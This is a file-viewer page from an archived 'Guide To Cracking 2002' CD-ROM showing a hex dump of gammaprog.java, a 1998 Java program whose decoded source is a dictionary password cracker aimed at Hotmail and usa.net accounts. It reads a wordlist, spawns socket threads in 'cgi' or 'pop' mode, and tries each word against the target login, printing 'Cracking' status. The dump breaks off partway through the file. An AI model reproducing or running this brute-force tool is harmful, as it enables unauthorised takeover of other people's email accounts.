home *** CD-ROM | disk | FTP | other *** search
/ Guide To Cracking 2002 / Guide_to_Cracking_2002.iso / Utilities / Password Crackerz / Gammaprog.exe / gammaprog1.11 / gammaprog.java < prev    next >
MacBinary  |  1998-08-02  |  7.8 KB  |  [TEXT/CWIE]

open in: MacOS 8.1     |     Win98     |     DOS

view JSON data     |     view as text

This file was processed as: MacBinary (archive/macBinary).

You can browse this item here: gammaprog.java

ConfidenceProgramDetectionMatch TypeSupport
10% dexvert MacBinary (archive/macBinary) fallback Supported
1% dexvert Text File (text/txt) fallback Supported
100% file MacBinary II, inited, Sun Aug 2 08:57:13 1998, modified Sun Aug 2 08:57:13 1998, creator 'CWIE', type ASCII, 7234 bytes "gammaprog.java" , at 0x1cc2 428 bytes resource default (weak)
99% file data default
74% TrID Macintosh plain text (MacBinary) default
25% TrID MacBinary 2 default (weak)
100% lsar MacBinary default


id metadata
keyvalue
macFileType[TEXT]
macFileCreator[CWIE]



hex view
+--------+-------------------------+-------------------------+--------+--------+
|00000000| 00 0e 67 61 6d 6d 61 70 | 72 6f 67 2e 6a 61 76 61 |..gammap|rog.java|
|00000010| 20 04 00 06 a6 22 00 00 | 00 00 00 00 00 00 02 95 | ...."..|........|
|00000020| d4 c0 00 00 7c fb 00 00 | 00 00 02 aa d0 7e 02 a6 |....|...|.....~..|
|00000030| ff 18 02 aa d1 28 02 aa | d1 68 02 a9 a4 06 02 aa |.....(..|.h......|
|00000040| d1 54 45 58 54 43 57 49 | 45 01 00 00 35 00 81 00 |.TEXTCWI|E...5...|
|00000050| 00 00 00 00 00 1c 42 00 | 00 01 ac b1 ea 12 a9 b1 |......B.|........|
|00000060| ea 12 a9 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000070| 00 00 00 00 00 00 00 00 | 00 00 81 81 b9 38 00 00 |........|.....8..|
|00000080| 2f 2a 0d 41 6e 20 45 79 | 65 77 69 74 6e 65 73 73 |/*.An Ey|ewitness|
|00000090| 0d 61 6e 65 79 65 77 69 | 74 6e 65 73 73 40 67 65 |.aneyewi|tness@ge|
|000000a0| 6f 63 69 74 69 65 73 2e | 63 6f 6d 0d 53 75 6d 6d |ocities.|com.Summ|
|000000b0| 65 72 20 31 39 39 38 0d | 20 2a 2f 0d 0d 69 6d 70 |er 1998.| */..imp|
|000000c0| 6f 72 74 20 6a 61 76 61 | 2e 69 6f 2e 2a 3b 0d 69 |ort java|.io.*;.i|
|000000d0| 6d 70 6f 72 74 20 6a 61 | 76 61 2e 6e 65 74 2e 55 |mport ja|va.net.U|
|000000e0| 52 4c 3b 0d 69 6d 70 6f | 72 74 20 6a 61 76 61 2e |RL;.impo|rt java.|
|000000f0| 6e 65 74 2e 53 6f 63 6b | 65 74 3b 0d 0d 70 75 62 |net.Sock|et;..pub|
|00000100| 6c 69 63 20 63 6c 61 73 | 73 20 67 61 6d 6d 61 70 |lic clas|s gammap|
|00000110| 72 6f 67 7b 0d 0d 0d 20 | 20 70 75 62 6c 69 63 20 |rog{... | public |
|00000120| 73 74 61 74 69 63 20 76 | 6f 69 64 20 6d 61 69 6e |static v|oid main|
|00000130| 28 53 74 72 69 6e 67 20 | 61 72 67 73 5b 5d 29 7b |(String |args[]){|
|00000140| 0d 0d 20 20 20 20 42 75 | 66 66 65 72 65 64 52 65 |.. Bu|fferedRe|
|00000150| 61 64 65 72 20 65 6e 74 | 72 65 65 3b 20 20 0d 20 |ader ent|ree; . |
|00000160| 20 20 20 53 74 72 69 6e | 67 20 6c 6f 67 69 6e 3b | Strin|g login;|
|00000170| 0d 20 20 20 20 62 6f 6f | 6c 65 61 6e 20 63 67 69 |. boo|lean cgi|
|00000180| 20 3d 20 66 61 6c 73 65 | 3b 0d 20 20 20 20 62 6f | = false|;. bo|
|00000190| 6f 6c 65 61 6e 20 70 6f | 70 20 3d 20 66 61 6c 73 |olean po|p = fals|
|000001a0| 65 3b 0d 20 20 20 20 62 | 6f 6f 6c 65 61 6e 20 76 |e;. b|oolean v|
|000001b0| 65 72 62 6f 73 65 20 3d | 20 66 61 6c 73 65 3b 0d |erbose =| false;.|
|000001c0| 0d 20 20 20 20 53 79 73 | 74 65 6d 2e 6f 75 74 2e |. Sys|tem.out.|
|000001d0| 70 72 69 6e 74 6c 6e 28 | 22 5c 6e 47 61 6d 6d 61 |println(|"\nGamma|
|000001e0| 70 72 6f 67 20 31 2e 31 | 31 5c 6e 57 72 69 74 74 |prog 1.1|1\nWritt|
|000001f0| 65 6e 20 62 79 20 41 6e | 20 45 79 65 77 69 74 6e |en by An| Eyewitn|
|00000200| 65 73 73 5c 6e 53 75 6d | 6d 65 72 20 31 39 39 38 |ess\nSum|mer 1998|
|00000210| 5c 6e 22 29 3b 0d 0d 2f | 2f 20 55 73 61 67 65 20 |\n");../|/ Usage |
|00000220| 61 6e 64 20 6f 70 74 69 | 6f 6e 20 68 61 6e 64 6c |and opti|on handl|
|00000230| 69 6e 67 0d 0d 20 20 20 | 20 69 66 28 61 72 67 73 |ing.. | if(args|
|00000240| 2e 6c 65 6e 67 74 68 3c | 33 29 0d 20 20 20 20 20 |.length<|3). |
|00000250| 20 53 79 73 74 65 6d 2e | 65 72 72 2e 70 72 69 6e | System.|err.prin|
|00000260| 74 6c 6e 28 22 55 73 61 | 67 65 3a 20 67 61 6d 6d |tln("Usa|ge: gamm|
|00000270| 61 70 72 6f 67 20 3c 61 | 64 64 72 65 73 73 3e 20 |aprog <a|ddress> |
|00000280| 3c 77 6f 72 64 20 6c 69 | 73 74 3e 20 3c 6d 6f 64 |<word li|st> <mod|
|00000290| 65 3e 20 5b 6e 75 6d 62 | 65 72 20 6f 66 20 73 6f |e> [numb|er of so|
|000002a0| 63 6b 65 74 5d 22 29 3b | 0d 0d 20 20 20 20 65 6c |cket]");|.. el|
|000002b0| 73 65 7b 0d 0d 20 20 20 | 20 20 20 69 6e 74 20 69 |se{.. | int i|
|000002c0| 6e 64 65 78 20 3d 20 61 | 72 67 73 5b 30 5d 2e 69 |ndex = a|rgs[0].i|
|000002d0| 6e 64 65 78 4f 66 28 27 | 40 27 29 3b 0d 20 20 20 |ndexOf('|@');. |
|000002e0| 20 20 20 69 66 28 69 6e | 64 65 78 3d 3d 2d 31 29 | if(in|dex==-1)|
|000002f0| 7b 0d 09 53 79 73 74 65 | 6d 2e 65 72 72 2e 70 72 |{..Syste|m.err.pr|
|00000300| 69 6e 74 6c 6e 28 22 41 | 72 65 20 79 6f 75 20 73 |intln("A|re you s|
|00000310| 75 72 65 20 22 20 2b 20 | 61 72 67 73 5b 30 5d 20 |ure " + |args[0] |
|00000320| 2b 20 22 20 69 73 20 61 | 20 76 61 6c 69 64 20 61 |+ " is a| valid a|
|00000330| 64 64 72 65 73 73 3f 22 | 29 3b 0d 09 53 79 73 74 |ddress?"|);..Syst|
|00000340| 65 6d 2e 65 78 69 74 28 | 31 29 3b 0d 20 20 20 20 |em.exit(|1);. |
|00000350| 20 20 7d 0d 20 20 20 20 | 20 20 6c 6f 67 69 6e 20 | }. | login |
|00000360| 3d 20 6e 65 77 20 53 74 | 72 69 6e 67 28 61 72 67 |= new St|ring(arg|
|00000370| 73 5b 30 5d 2e 73 75 62 | 73 74 72 69 6e 67 28 30 |s[0].sub|string(0|
|00000380| 2c 20 69 6e 64 65 78 29 | 29 3b 0d 20 20 20 20 20 |, index)|);. |
|00000390| 20 53 74 72 69 6e 67 20 | 61 64 64 72 65 73 73 74 | String |addresst|
|000003a0| 79 70 65 20 3d 20 6e 65 | 77 20 53 74 72 69 6e 67 |ype = ne|w String|
|000003b0| 28 61 72 67 73 5b 30 5d | 2e 73 75 62 73 74 72 69 |(args[0]|.substri|
|000003c0| 6e 67 28 69 6e 64 65 78 | 20 2c 20 61 72 67 73 5b |ng(index| , args[|
|000003d0| 30 5d 2e 6c 65 6e 67 74 | 68 28 29 29 29 3b 0d 20 |0].lengt|h()));. |
|000003e0| 20 20 20 20 20 0d 20 20 | 20 20 20 20 69 66 28 21 | . | if(!|
|000003f0| 28 61 64 64 72 65 73 73 | 74 79 70 65 2e 65 71 75 |(address|type.equ|
|00000400| 61 6c 73 28 22 40 68 6f | 74 6d 61 69 6c 2e 63 6f |als("@ho|tmail.co|
|00000410| 6d 22 29 20 7c 7c 20 61 | 64 64 72 65 73 73 74 79 |m") || a|ddressty|
|00000420| 70 65 2e 65 71 75 61 6c | 73 28 22 40 75 73 61 2e |pe.equal|s("@usa.|
|00000430| 6e 65 74 22 29 29 29 7b | 0d 09 53 79 73 74 65 6d |net"))){|..System|
|00000440| 2e 65 72 72 2e 70 72 69 | 6e 74 6c 6e 28 22 53 6f |.err.pri|ntln("So|
|00000450| 72 72 79 2c 20 22 20 2b | 20 61 64 64 72 65 73 73 |rry, " +| address|
|00000460| 74 79 70 65 20 2b 20 22 | 20 69 73 20 6e 6f 74 20 |type + "| is not |
|00000470| 73 75 70 70 6f 72 74 65 | 64 2e 22 29 3b 0d 09 53 |supporte|d.");..S|
|00000480| 79 73 74 65 6d 2e 65 78 | 69 74 28 31 29 3b 0d 20 |ystem.ex|it(1);. |
|00000490| 20 20 20 20 20 7d 0d 0d | 2f 2f 20 4f 70 65 6e 20 | }..|// Open |
|000004a0| 64 69 63 74 2e 20 66 69 | 6c 65 2c 20 73 74 61 72 |dict. fi|le, star|
|000004b0| 74 20 73 6f 63 6b 65 74 | 73 0d 0d 20 20 20 20 20 |t socket|s.. |
|000004c0| 20 74 72 79 7b 0d 09 65 | 6e 74 72 65 65 20 3d 20 | try{..e|ntree = |
|000004d0| 6e 65 77 20 42 75 66 66 | 65 72 65 64 52 65 61 64 |new Buff|eredRead|
|000004e0| 65 72 28 6e 65 77 20 46 | 69 6c 65 52 65 61 64 65 |er(new F|ileReade|
|000004f0| 72 28 61 72 67 73 5b 31 | 5d 29 29 3b 0d 09 69 6e |r(args[1|]));..in|
|00000500| 74 20 73 6f 63 6b 6e 75 | 6d 20 3d 20 34 3b 0d 09 |t socknu|m = 4;..|
|00000510| 69 66 28 61 72 67 73 2e | 6c 65 6e 67 74 68 3e 33 |if(args.|length>3|
|00000520| 29 7b 0d 09 20 20 74 72 | 79 7b 0d 09 20 20 20 20 |){.. tr|y{.. |
|00000530| 73 6f 63 6b 6e 75 6d 20 | 3d 20 49 6e 74 65 67 65 |socknum |= Intege|
|00000540| 72 2e 70 61 72 73 65 49 | 6e 74 28 61 72 67 73 5b |r.parseI|nt(args[|
|00000550| 33 5d 29 3b 0d 09 20 20 | 7d 0d 09 20 20 63 61 74 |3]);.. |}.. cat|
|00000560| 63 68 28 4e 75 6d 62 65 | 72 46 6f 72 6d 61 74 45 |ch(Numbe|rFormatE|
|00000570| 78 63 65 70 74 69 6f 6e | 20 65 78 29 7b 0d 09 20 |xception| ex){.. |
|00000580| 20 20 20 53 79 73 74 65 | 6d 2e 65 72 72 2e 70 72 | Syste|m.err.pr|
|00000590| 69 6e 74 6c 6e 28 61 72 | 67 73 5b 33 5d 20 2b 20 |intln(ar|gs[3] + |
|000005a0| 22 20 69 73 20 6e 6f 74 | 20 61 20 76 61 6c 69 64 |" is not| a valid|
|000005b0| 20 6e 75 6d 62 65 72 20 | 6f 66 20 74 68 72 65 61 | number |of threa|
|000005c0| 64 2e 22 29 3b 0d 09 20 | 20 20 20 53 79 73 74 65 |d.");.. | Syste|
|000005d0| 6d 2e 65 78 69 74 28 31 | 29 3b 0d 09 20 20 7d 0d |m.exit(1|);.. }.|
|000005e0| 09 7d 0d 09 69 66 28 61 | 72 67 73 5b 32 5d 2e 65 |.}..if(a|rgs[2].e|
|000005f0| 71 75 61 6c 73 49 67 6e | 6f 72 65 43 61 73 65 28 |qualsIgn|oreCase(|
|00000600| 22 63 67 69 22 29 29 7b | 0d 09 20 20 66 6f 72 28 |"cgi")){|.. for(|
|00000610| 69 6e 74 20 69 3d 30 3b | 69 3c 73 6f 63 6b 6e 75 |int i=0;|i<socknu|
|00000620| 6d 3b 69 2b 2b 29 7b 0d | 09 20 20 20 20 44 61 65 |m;i++){.|. Dae|
|00000630| 6d 6f 6e 74 68 72 65 61 | 64 20 64 61 65 6d 6f 6e |monthrea|d daemon|
|00000640| 74 68 72 65 61 64 20 3d | 20 6e 65 77 20 44 61 65 |thread =| new Dae|
|00000650| 6d 6f 6e 74 68 72 65 61 | 64 28 6c 6f 67 69 6e 2c |monthrea|d(login,|
|00000660| 20 61 64 64 72 65 73 73 | 74 79 70 65 2c 20 65 6e | address|type, en|
|00000670| 74 72 65 65 29 3b 0d 09 | 20 20 20 20 64 61 65 6d |tree);..| daem|
|00000680| 6f 6e 74 68 72 65 61 64 | 2e 73 74 61 72 74 28 29 |onthread|.start()|
|00000690| 3b 0d 09 20 20 7d 0d 09 | 20 20 53 79 73 74 65 6d |;.. }..| System|
|000006a0| 2e 6f 75 74 2e 70 72 69 | 6e 74 6c 6e 28 22 43 72 |.out.pri|ntln("Cr|
|000006b0| 61 63 6b 69 6e 67 20 22 | 20 2b 20 6c 6f 67 69 6e |acking "| + login|
|000006c0| 20 2b 20 61 64 64 72 65 | 73 73 74 79 70 65 20 2b | + addre|sstype +|
|000006d0| 20 22 20 77 69 74 68 20 | 22 20 2b 20 61 72 67 73 | " with |" + args|
|000006e0| 5b 31 5d 20 2b 20 22 5c | 6e 22 29 3b 0d 09 7d 0d |[1] + "\|n");..}.|
|000006f0| 09 65 6c 73 65 20 69 66 | 28 61 72 67 73 5b 32 5d |.else if|(args[2]|
|00000700| 2e 65 71 75 61 6c 73 49 | 67 6e 6f 72 65 43 61 73 |.equalsI|gnoreCas|
|00000710| 65 28 22 70 6f 70 22 29 | 20 7c 7c 20 61 72 67 73 |e("pop")| || args|
|00000720| 5b 32 5d 2e 65 71 75 61 | 6c 73 49 67 6e 6f 72 65 |[2].equa|lsIgnore|
|00000730| 43 61 73 65 28 22 76 70 | 6f 70 22 29 29 7b 0d 09 |Case("vp|op")){..|
|00000740| 20 20 69 66 28 61 64 64 | 72 65 73 73 74 79 70 65 | if(add|resstype|
|00000750| 2e 65 71 75 61 6c 73 28 | 22 40 75 73 61 2e 6e 65 |.equals(|"@usa.ne|
|00000760| 74 22 29 29 0d 09 20 20 | 20 20 20 53 79 73 74 65 |t")).. | Syste|
|00000770| 6d 2e 6f 75 74 2e 70 72 | 69 6e 74 6c 6e 28 22 53 |m.out.pr|intln("S|
|00000780| 6f 72 72 79 2c 20 75 73 | 61 2e 6e 65 74 20 64 6f |orry, us|a.net do|
|00000790| 65 73 20 6e 6f 74 20 73 | 75 70 70 6f 72 74 20 70 |es not s|upport p|
|000007a0| 6f 70 20 6d 6f 64 65 22 | 29 3b 0d 09 20 20 65 6c |op mode"|);.. el|
|000007b0| 73 65 7b 0d 09 20 20 20 | 20 69 66 28 61 72 67 73 |se{.. | if(args|
|000007c0| 5b 32 5d 2e 65 71 75 61 | 6c 73 49 67 6e 6f 72 65 |[2].equa|lsIgnore|
|000007d0| 43 61 73 65 28 22 76 70 | 6f 70 22 29 29 0d 09 20 |Case("vp|op")).. |
|000007e0| 20 20 20 20 20 20 76 65 | 72 62 6f 73 65 20 3d 20 | ve|rbose = |
|000007f0| 74 72 75 65 3b 0d 09 20 | 20 20 20 66 6f 72 28 69 |true;.. | for(i|
|00000800| 6e 74 20 69 3d 30 3b 69 | 3c 73 6f 63 6b 6e 75 6d |nt i=0;i|<socknum|
|00000810| 3b 69 2b 2b 29 7b 0d 09 | 20 20 20 20 20 20 50 6f |;i++){..| Po|
|00000820| 70 73 6f 63 6b 65 74 20 | 70 6f 70 73 6f 63 6b 65 |psocket |popsocke|
|00000830| 74 20 3d 20 6e 65 77 20 | 50 6f 70 73 6f 63 6b 65 |t = new |Popsocke|
|00000840| 74 28 6c 6f 67 69 6e 2c | 20 61 64 64 72 65 73 73 |t(login,| address|
|00000850| 74 79 70 65 2c 20 65 6e | 74 72 65 65 2c 20 76 65 |type, en|tree, ve|
|00000860| 72 62 6f 73 65 29 3b 0d | 09 20 20 20 20 20 20 70 |rbose);.|. p|
|00000870| 6f 70 73 6f 63 6b 65 74 | 2e 73 74 61 72 74 28 29 |opsocket|.start()|
|00000880| 3b 0d 09 20 20 20 20 7d | 0d 09 20 20 20 20 53 79 |;.. }|.. Sy|
|00000890| 73 74 65 6d 2e 6f 75 74 | 2e 70 72 69 6e 74 6c 6e |stem.out|.println|
|000008a0| 28 22 43 72 61 63 6b 69 | 6e 67 20 22 20 2b 20 6c |("Cracki|ng " + l|
|000008b0| 6f 67 69 6e 20 2b 20 61 | 64 64 72 65 73 73 74 79 |ogin + a|ddressty|
|000008c0| 70 65 20 2b 20 22 20 77 | 69 74 68 20 22 20 2b 20 |pe + " w|ith " + |
|000008d0| 61 72 67 73 5b 31 5d 20 | 2b 20 22 5c 6e 22 29 3b |args[1] |+ "\n");|
|000008e0| 0d 09 20 20 7d 0d 09 7d | 0d 09 65 6c 73 65 0d 09 |.. }..}|..else..|
|000008f0| 20 20 53 79 73 74 65 6d | 2e 6f 75 74 2e 70 72 69 | System|.out.pri|
|00000900| 6e 74 6c 6e 28 61 72 67 | 73 5b 32 5d 20 2b 20 22 |ntln(arg|s[2] + "|
|00000910| 20 69 73 20 6e 6f 74 20 | 61 20 76 61 6c 69 64 20 | is not |a valid |
|00000920| 6d 6f 64 65 2e 22 29 3b | 0d 20 20 20 20 20 20 7d |mode.");|. }|
|00000930| 0d 0d 20 20 20 20 20 20 | 63 61 74 63 68 28 46 69 |.. |catch(Fi|
|00000940| 6c 65 4e 6f 74 46 6f 75 | 6e 64 45 78 63 65 70 74 |leNotFou|ndExcept|
|00000950| 69 6f 6e 20 65 78 29 7b | 0d 09 53 79 73 74 65 6d |ion ex){|..System|
|00000960| 2e 65 72 72 2e 70 72 69 | 6e 74 6c 6e 28 22 44 69 |.err.pri|ntln("Di|
|00000970| 63 74 69 6f 6e 6e 61 72 | 79 20 66 69 6c 65 20 22 |ctionnar|y file "|
|00000980| 20 2b 20 61 72 67 73 5b | 31 5d 20 2b 20 22 20 6e | + args[|1] + " n|
|00000990| 6f 74 20 66 6f 75 6e 64 | 2e 22 29 3b 0d 20 20 20 |ot found|.");. |
|000009a0| 20 20 20 7d 0d 0d 20 20 | 20 20 7d 0d 20 20 7d 0d | }.. | }. }.|
|000009b0| 7d 0d 0d 63 6c 61 73 73 | 20 44 61 65 6d 6f 6e 74 |}..class| Daemont|
|000009c0| 68 72 65 61 64 20 65 78 | 74 65 6e 64 73 20 54 68 |hread ex|tends Th|
|000009d0| 72 65 61 64 20 7b 0d 0d | 0d 20 20 53 74 72 69 6e |read {..|. Strin|
|000009e0| 67 20 70 61 73 73 77 64 | 20 3d 20 6e 65 77 20 53 |g passwd| = new S|
|000009f0| 74 72 69 6e 67 28 22 22 | 29 3b 0d 20 20 62 6f 6f |tring(""|);. boo|
|00000a00| 6c 65 61 6e 20 6f 6b 20 | 3d 20 74 72 75 65 3b 0d |lean ok |= true;.|
|00000a10| 20 20 42 75 66 66 65 72 | 65 64 52 65 61 64 65 72 | Buffer|edReader|
|00000a20| 20 65 6e 74 72 65 65 3b | 0d 20 20 53 74 72 69 6e | entree;|. Strin|
|00000a30| 67 20 6c 6f 67 69 6e 3b | 0d 20 20 53 74 72 69 6e |g login;|. Strin|
|00000a40| 67 20 61 64 64 72 65 73 | 73 74 79 70 65 3b 0d 0d |g addres|stype;..|
|00000a50| 20 20 70 75 62 6c 69 63 | 20 44 61 65 6d 6f 6e 74 | public| Daemont|
|00000a60| 68 72 65 61 64 28 53 74 | 72 69 6e 67 20 6c 6f 67 |hread(St|ring log|
|00000a70| 69 6e 6e 61 6d 65 2c 20 | 53 74 72 69 6e 67 20 61 |inname, |String a|
|00000a80| 64 64 72 65 73 73 2c 20 | 42 75 66 66 65 72 65 64 |ddress, |Buffered|
|00000a90| 52 65 61 64 65 72 20 72 | 65 61 64 65 72 6e 61 6d |Reader r|eadernam|
|00000aa0| 65 29 7b 0d 20 20 20 20 | 73 75 70 65 72 28 29 3b |e){. |super();|
|00000ab0| 0d 20 20 20 20 65 6e 74 | 72 65 65 20 3d 20 72 65 |. ent|ree = re|
|00000ac0| 61 64 65 72 6e 61 6d 65 | 3b 0d 20 20 20 20 6c 6f |adername|;. lo|
|00000ad0| 67 69 6e 20 3d 20 6c 6f | 67 69 6e 6e 61 6d 65 3b |gin = lo|ginname;|
|00000ae0| 0d 20 20 20 20 61 64 64 | 72 65 73 73 74 79 70 65 |. add|resstype|
|00000af0| 20 3d 20 61 64 64 72 65 | 73 73 3b 0d 20 20 7d 0d | = addre|ss;. }.|
|00000b00| 0d 20 20 70 75 62 6c 69 | 63 20 76 6f 69 64 20 72 |. publi|c void r|
|00000b10| 75 6e 28 29 7b 0d 20 20 | 20 20 0d 20 20 20 20 66 |un(){. | . f|
|00000b20| 6f 72 28 3b 3b 29 7b 0d | 20 20 20 20 20 20 74 72 |or(;;){.| tr|
|00000b30| 79 7b 0d 09 69 66 28 6f | 6b 29 0d 09 20 20 70 61 |y{..if(o|k).. pa|
|00000b40| 73 73 77 64 20 3d 20 65 | 6e 74 72 65 65 2e 72 65 |sswd = e|ntree.re|
|00000b50| 61 64 4c 69 6e 65 28 29 | 3b 0d 09 6f 6b 3d 74 72 |adLine()|;..ok=tr|
|00000b60| 75 65 3b 0d 09 69 66 28 | 70 61 73 73 77 64 3d 3d |ue;..if(|passwd==|
|00000b70| 6e 75 6c 6c 29 0d 09 20 | 20 62 72 65 61 6b 3b 0d |null).. | break;.|
|00000b80| 09 54 68 72 65 61 64 73 | 6f 63 6b 65 74 20 74 68 |.Threads|ocket th|
|00000b90| 72 65 61 64 73 6f 63 6b | 65 74 20 3d 20 6e 65 77 |readsock|et = new|
|00000ba0| 20 54 68 72 65 61 64 73 | 6f 63 6b 65 74 28 6c 6f | Threads|ocket(lo|
|00000bb0| 67 69 6e 2c 20 61 64 64 | 72 65 73 73 74 79 70 65 |gin, add|resstype|
|00000bc0| 2c 20 70 61 73 73 77 64 | 29 3b 0d 09 74 68 72 65 |, passwd|);..thre|
|00000bd0| 61 64 73 6f 63 6b 65 74 | 2e 73 74 61 72 74 28 29 |adsocket|.start()|
|00000be0| 3b 0d 09 74 72 79 7b 0d | 09 20 20 74 68 72 65 61 |;..try{.|. threa|
|00000bf0| 64 73 6f 63 6b 65 74 2e | 6a 6f 69 6e 28 33 30 30 |dsocket.|join(300|
|00000c00| 30 30 29 3b 0d 09 7d 0d | 09 63 61 74 63 68 28 49 |00);..}.|.catch(I|
|00000c10| 6e 74 65 72 72 75 70 74 | 65 64 45 78 63 65 70 74 |nterrupt|edExcept|
|00000c20| 69 6f 6e 20 65 78 29 7b | 0d 09 20 20 53 79 73 74 |ion ex){|.. Syst|
|00000c30| 65 6d 2e 6f 75 74 2e 70 | 72 69 6e 74 6c 6e 28 22 |em.out.p|rintln("|
|00000c40| 54 68 72 65 61 64 20 69 | 6e 74 65 72 72 75 70 74 |Thread i|nterrupt|
|00000c50| 65 64 22 29 3b 0d 09 7d | 0d 09 69 66 28 74 68 72 |ed");..}|..if(thr|
|00000c60| 65 61 64 73 6f 63 6b 65 | 74 2e 69 73 41 6c 69 76 |eadsocke|t.isAliv|
|00000c70| 65 28 29 29 7b 0d 09 20 | 20 74 68 72 65 61 64 73 |e()){.. | threads|
|00000c80| 6f 63 6b 65 74 2e 73 74 | 6f 70 28 29 3b 0d 09 20 |ocket.st|op();.. |
|00000c90| 20 53 79 73 74 65 6d 2e | 6f 75 74 2e 70 72 69 6e | System.|out.prin|
|00000ca0| 74 6c 6e 28 22 54 68 72 | 65 61 64 20 74 69 6d 65 |tln("Thr|ead time|
|00000cb0| 64 20 6f 75 74 2e 20 4b | 69 6c 6c 69 6e 67 20 69 |d out. K|illing i|
|00000cc0| 74 2e 22 29 3b 0d 09 20 | 20 6f 6b 3d 66 61 6c 73 |t.");.. | ok=fals|
|00000cd0| 65 3b 0d 09 7d 0d 20 20 | 20 20 20 20 7d 0d 20 20 |e;..}. | }. |
|00000ce0| 20 20 20 20 63 61 74 63 | 68 28 49 4f 45 78 63 65 | catc|h(IOExce|
|00000cf0| 70 74 69 6f 6e 20 65 78 | 29 7b 0d 09 53 79 73 74 |ption ex|){..Syst|
|00000d00| 65 6d 2e 6f 75 74 2e 70 | 72 69 6e 74 6c 6e 28 22 |em.out.p|rintln("|
|00000d10| 49 4f 45 78 63 65 70 74 | 69 6f 6e 20 69 6e 20 44 |IOExcept|ion in D|
|00000d20| 65 61 6d 6f 6e 74 68 72 | 65 61 64 22 29 3b 0d 20 |eamonthr|ead");. |
|00000d30| 20 20 20 20 20 7d 0d 20 | 20 20 20 7d 0d 20 20 20 | }. | }. |
|00000d40| 20 2f 2a 0d 20 20 20 20 | 20 20 54 68 69 73 20 73 | /*. | This s|
|00000d50| 6c 65 65 70 20 74 69 6d | 65 20 69 73 20 74 6f 20 |leep tim|e is to |
|00000d60| 6c 65 74 20 74 68 65 20 | 6f 74 68 65 72 20 74 68 |let the |other th|
|00000d70| 72 65 61 64 73 20 66 69 | 6e 69 73 68 2e 0d 20 20 |reads fi|nish.. |
|00000d80| 20 20 20 20 4e 6f 74 68 | 69 6e 67 20 70 72 6f 76 | Noth|ing prov|
|00000d90| 65 73 20 74 68 65 79 27 | 6c 6c 20 68 61 76 65 20 |es they'|ll have |
|00000da0| 65 6e 6f 75 67 68 20 74 | 69 6d 65 20 74 6f 20 64 |enough t|ime to d|
|00000db0| 6f 20 69 74 20 68 6f 77 | 65 76 65 72 2e 2e 2e 0d |o it how|ever....|
|00000dc0| 20 20 20 20 20 20 0d 20 | 20 20 20 2a 2f 0d 20 20 | . | */. |
|00000dd0| 20 20 74 72 79 7b 0d 20 | 20 20 20 20 20 73 6c 65 | try{. | sle|
|00000de0| 65 70 28 31 30 30 30 30 | 29 3b 0d 20 20 20 20 7d |ep(10000|);. }|
|00000df0| 0d 20 20 20 20 63 61 74 | 63 68 28 49 6e 74 65 72 |. cat|ch(Inter|
|00000e00| 72 75 70 74 65 64 45 78 | 63 65 70 74 69 6f 6e 20 |ruptedEx|ception |
|00000e10| 65 78 29 7b 0d 20 20 20 | 20 7d 0d 20 20 20 20 53 |ex){. | }. S|
|00000e20| 79 73 74 65 6d 2e 6f 75 | 74 2e 70 72 69 6e 74 6c |ystem.ou|t.printl|
|00000e30| 6e 28 22 5c 6e 50 61 73 | 73 77 6f 72 64 20 6e 6f |n("\nPas|sword no|
|00000e40| 74 20 66 6f 75 6e 64 2e | 5c 6e 22 29 3b 0d 20 20 |t found.|\n");. |
|00000e50| 20 20 53 79 73 74 65 6d | 2e 65 78 69 74 28 30 29 | System|.exit(0)|
|00000e60| 3b 0d 0d 20 20 7d 0d 7d | 0d 0d 63 6c 61 73 73 20 |;.. }.}|..class |
|00000e70| 54 68 72 65 61 64 73 6f | 63 6b 65 74 20 65 78 74 |Threadso|cket ext|
|00000e80| 65 6e 64 73 20 54 68 72 | 65 61 64 20 7b 0d 0d 20 |ends Thr|ead {.. |
|00000e90| 20 53 74 72 69 6e 67 20 | 70 61 73 73 77 64 20 3d | String |passwd =|
|00000ea0| 20 6e 65 77 20 53 74 72 | 69 6e 67 28 22 22 29 3b | new Str|ing("");|
|00000eb0| 0d 20 20 55 52 4c 20 6c | 6f 67 69 6e 66 6f 72 6d |. URL l|oginform|
|00000ec0| 3b 0d 20 20 53 74 72 69 | 6e 67 20 6c 6f 67 69 6e |;. Stri|ng login|
|00000ed0| 3b 0d 20 20 53 74 72 69 | 6e 67 20 61 64 64 72 65 |;. Stri|ng addre|
|00000ee0| 73 73 74 79 70 65 3b 0d | 0d 2f 2f 20 43 6f 6e 73 |sstype;.|.// Cons|
|00000ef0| 74 72 75 63 74 6f 72 20 | 2e 2e 2e 0d 0d 20 20 70 |tructor |..... p|
|00000f00| 75 62 6c 69 63 20 54 68 | 72 65 61 64 73 6f 63 6b |ublic Th|readsock|
|00000f10| 65 74 28 53 74 72 69 6e | 67 20 6c 6f 67 69 6e 6e |et(Strin|g loginn|
|00000f20| 61 6d 65 2c 20 53 74 72 | 69 6e 67 20 61 64 64 72 |ame, Str|ing addr|
|00000f30| 65 73 73 2c 20 53 74 72 | 69 6e 67 20 77 6f 72 64 |ess, Str|ing word|
|00000f40| 29 20 7b 0d 20 20 20 20 | 73 75 70 65 72 28 29 3b |) {. |super();|
|00000f50| 0d 20 20 20 20 70 61 73 | 73 77 64 20 3d 20 77 6f |. pas|swd = wo|
|00000f60| 72 64 3b 0d 20 20 20 20 | 6c 6f 67 69 6e 20 3d 20 |rd;. |login = |
|00000f70| 6c 6f 67 69 6e 6e 61 6d | 65 3b 0d 20 20 20 20 61 |loginnam|e;. a|
|00000f80| 64 64 72 65 73 73 74 79 | 70 65 20 3d 20 61 64 64 |ddressty|pe = add|
|00000f90| 72 65 73 73 3b 0d 20 20 | 7d 0d 0d 2f 2f 20 4f 70 |ress;. |}..// Op|
|00000fa0| 65 6e 20 61 20 63 6f 6e | 6e 65 63 74 69 6f 6e 20 |en a con|nection |
|00000fb0| 74 6f 20 74 68 65 20 73 | 65 72 76 65 72 20 61 6e |to the s|erver an|
|00000fc0| 64 20 72 65 61 64 20 72 | 65 70 6c 79 0d 09 09 0d |d read r|eply....|
|00000fd0| 20 20 70 75 62 6c 69 63 | 20 76 6f 69 64 20 72 75 | public| void ru|
|00000fe0| 6e 28 29 20 7b 0d 0d 20 | 20 20 20 74 72 79 7b 0d |n() {.. | try{.|
|00000ff0| 20 20 20 20 20 20 69 66 | 28 61 64 64 72 65 73 73 | if|(address|
|00001000| 74 79 70 65 2e 65 71 75 | 61 6c 73 28 22 40 68 6f |type.equ|als("@ho|
